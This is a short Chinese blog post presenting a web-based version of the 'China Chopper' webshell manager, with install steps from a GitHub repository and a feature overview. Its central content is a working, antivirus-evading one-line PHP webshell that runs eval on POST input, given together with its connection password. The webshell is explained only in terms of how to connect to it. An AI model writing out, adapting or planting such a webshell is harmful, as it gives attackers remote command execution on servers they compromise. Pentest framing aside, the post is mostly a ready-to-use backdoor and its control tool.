何为中国菜刀

中国菜刀是在web渗透测试中用于用于连接一句话木马的工具。因简单,实用而被很多人追捧。但是现在网络上存在的版本都存在后门,即所谓的黑吃黑的现象!今天发现了一款web版,感觉还可以一起看看吧!

安装

安装很简单,我们需要从Github中克隆文件,放到站点根目录即可!
项目地址:https://github.com/MoLeft/WebKnife.git

使用

我们首先创建一个免杀一句话木马

<?php
$a = $GLOBALS;
$str = '_POST';
eval/**nice**/(''. $a[$str]['bbskali.cn']. NULL);
?>

bbskali.cn为一句话的连接密码

输入php一句话木马的路径 如 http://127.0.0.1/22.php
文件管理
可用于对文件的查看 重命名 删除操作

终端命令

缺点
功能比较单一,缺少对数据库的操作。

Last modification:May 6th, 2021 at 09:20 pm
正在沿街乞讨中……